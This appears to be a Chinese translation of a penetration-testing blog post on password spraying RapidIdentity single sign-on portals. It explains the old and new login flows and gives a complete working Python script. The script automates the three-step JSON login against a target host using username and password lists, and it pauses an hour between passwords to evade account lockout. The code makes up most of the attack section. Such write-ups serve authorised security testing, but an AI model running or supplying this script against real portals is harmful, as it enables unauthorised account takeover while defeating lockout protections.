快速密码喷射攻击RapidIdentity登录门户的技术解析

本文详细介绍了针对RapidIdentity单点登录门户的密码喷射技术,包括新旧两种登录方式的差异分析,以及如何编写Python脚本绕过复杂的三步认证流程进行自动化攻击,有效规避账户锁定策略。

密码喷射攻击RapidIdentity登录门户

发布日期:2022年3月11日
作者:n00py
分类:渗透测试

过去我曾写过一篇关于密码喷射Dell SonicWALL Virtual Office的简短博客。虽然那篇文章并不那么令人兴奋,但许多人确实觉得它有用,而且拥有博客比仅仅放在随机的Github仓库或推文中更容易被找到。

这篇文章是关于RapidIdentity的。它可以用于单点登录(SSO)。通过测试,我发现了两种不同类型的门户。较旧的版本看起来相当基础,登录时使用常规的POST参数传递用户名和密码。

这并没有太多特别之处,你可以使用我在《如何用好Burp(密码喷射)》一文中描述的方法进行喷射。你只需要设置一个grep提取:

开始表达式:-message">
结束分隔符:</div>

旧版登录

然而更有趣的是我发现的一个更新的登录门户。这个门户需要三个独立的步骤来登录,并且对典型的基于HTTP的暴力破解更具抵抗力。

新版登录

注意:登录门户可以(并且很可能会)使用自定义CSS进行样式设计。它可能看起来与上面的示例不完全相同。

所需的三个请求如下:

  1. 一个GET请求到认证API。这会返回一个唯一的ID值。
  2. 一个包含用户名和之前提供的ID值的POST请求。
  3. 第二个包含密码和之前提供的ID值的POST请求。

这可能会有所不同,因为认证策略有很多。请查看API文档并根据需要进行调整。如果有疑问,通过Burp运行登录过程,看看它是如何匹配的。

不幸的是,我们不能使用《如何用好Burp(CSRF令牌)》中提供的方法,因为Burp处理JSON不够好(至少在宏中),无法提取ID号并将其放入后续请求中。虽然通过扩展在Burp中可能仍然可行,但我选择创建一个Python脚本来喷射这些端点。以下是完整代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import time
import json
import requests
import argparse

def guess_password(host, username, password):
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0',
               'Accept': 'application/json, text/javascript, */*; q=0.01',
               'X-Requested-With': 'XMLHttpRequest'
               }
    # 启动会话以在请求间保持cookie
    session = requests.Session()
    r1 = session.get('https://' + host + '/api/rest/authn', headers=headers)
    result = json.loads(r1.text)
    # 获取ID值
    id_value = result["id"]
    usernameJSON = {'id': id_value, 'isPasswordRecovery': 'false', 'type': 'username', 'username': username}
    r2 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=usernameJSON)
    passwordJSON = {'type': 'password', 'id': id_value, 'password': password}
    r3 = session.post('https://' + host + '/api/rest/authn', headers=headers, json=passwordJSON)
    result = json.loads(r3.text)
    # 查找错误消息
    try:
        error_message = result["error"]["message"]
        return error_message
    # 如果有错误消息以外的内容,打印完整响应
    except KeyError:
        try:
            if result["type"] == "complete":
                return "认证成功!"
        except KeyError:
            return result

parser = argparse.ArgumentParser(description='这是一个暴力破解RapidIdentity IAM门户的工具')
parser.add_argument('-u', '--users', help='输入文件名', required=True)
parser.add_argument('-p', '--passwords', help='字典文件名', required=True)
parser.add_argument('-t', '--target', help='目标主机名', required=True)

args = parser.parse_args()

userlist = open(args.users, 'r').read().split('\n')
passlist = open(args.passwords, 'r').read().split('\n')

print("测试 " + str(len(userlist)) + " 个用户名和 " + str(len(passlist)) + " 个密码。")
for password in passlist:
    print("喷射密码: " + password)
    for user in userlist:
        result = guess_password(args.target, user, password)
        print("尝试 " + user + ":" + password + " - " + result)
    print("每个密码之间休眠1小时")
    time.sleep(3600)

也可以在Github上找到:https://github.com/n00py/RapidIdentity_spray

该脚本需要端点、用户名列表和密码列表。它每小时用单个密码喷射所有用户名一次,以避免锁定。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计